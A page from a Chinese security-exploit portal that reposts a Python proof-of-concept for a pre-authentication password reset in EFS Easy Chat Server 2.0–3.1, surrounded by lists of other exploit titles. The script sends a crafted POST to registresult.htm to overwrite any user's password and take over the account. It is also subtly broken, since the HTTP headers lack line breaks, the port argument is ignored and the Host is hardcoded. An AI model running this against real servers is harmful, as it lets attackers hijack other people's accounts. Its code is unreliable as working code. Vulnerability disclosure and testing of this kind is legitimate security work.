首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
EFS Easy Chat Server 3.1 - Password Reset
来源:vfocus.net 作者:Mohsin 发布时间:2017-06-13  
# Exploit Title: Easy Chat Server Remote Password Reset
# Date: 09/10/2017
# Software Link: http://echatserver.com/ecssetup.exe
# Exploit Author: Aitezaz Mohsin
# Vulnerable Version: v2.0 to v3.1
# Vulnerability Type: Pre-Auth Remote Password Reset
# Severity: Critical
 
# ====================================================================================================
#   Registeration page 'register.ghp' allows resetting ANY user's password.
# Remote un-authenticated attackers can send HTTP POST requests to Hijack ANY Easy Chat Server account.
# ====================================================================================================
 
# USAGE: python exploit.py ip port username password
 
#!/usr/bin/python
 
import os,sys,socket
 
ip = sys.argv[1]
username = sys.argv[2]
password = sys.argv[3]
 
socket = socket.socket(socket.AF_INET , socket.SOCK_STREAM)
 
socket.connect((ip , 80))
 
 
buffer = "POST /registresult.htm HTTP/1.1"
buffer += "Host: 192.168.1.11"
buffer += "User-Agent: Mozilla/5.0 (X11; Linux i686; rv:45.0) Gecko/20100101 Firefox/45.0"
buffer += "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8"
buffer += "Accept-Language: en-US,en;q=0.5"
buffer += "Accept-Encoding: gzip, deflate"
buffer += "Connection: close"
buffer += "Content-Type: application/x-www-form-urlencoded"
 
buffer += "UserName=" + username + "&Password=" + password  + "&Password1=ggg&Sex=0&Email=%25252540&Icon=image17.gif&Resume=aaa&cw=0&RoomID=%3C%21--%24RoomID--%3E&RepUserName=%3C%21--%24UserName--%3E&submit1=Change"
 
socket.send(buffer)
 
socket.close()
 
print "[#] Password Changed Successfully"
 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·EFS Easy Chat Server 3.1 - Pas
·EFS Easy Chat Server 3.1 - Buf
·VMware vSphere Data Protection
·Disk Sorter 9.7.14 - 'Input Di
·IPFire 2.19 - Remote Code Exec
·Logpoint < 5.6.4 - Unauthentic
·Apple macOS - Disk Arbitration
·DiskBoss 8.0.16 - 'Input Direc
·Apple macOS 10.12.3 / iOS < 10
·Sync Breeze 9.7.26 - 'Add Excl
·Mapscrn 2.03 - Local Buffer Ov
·VMware Workstation 12 Pro - De
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved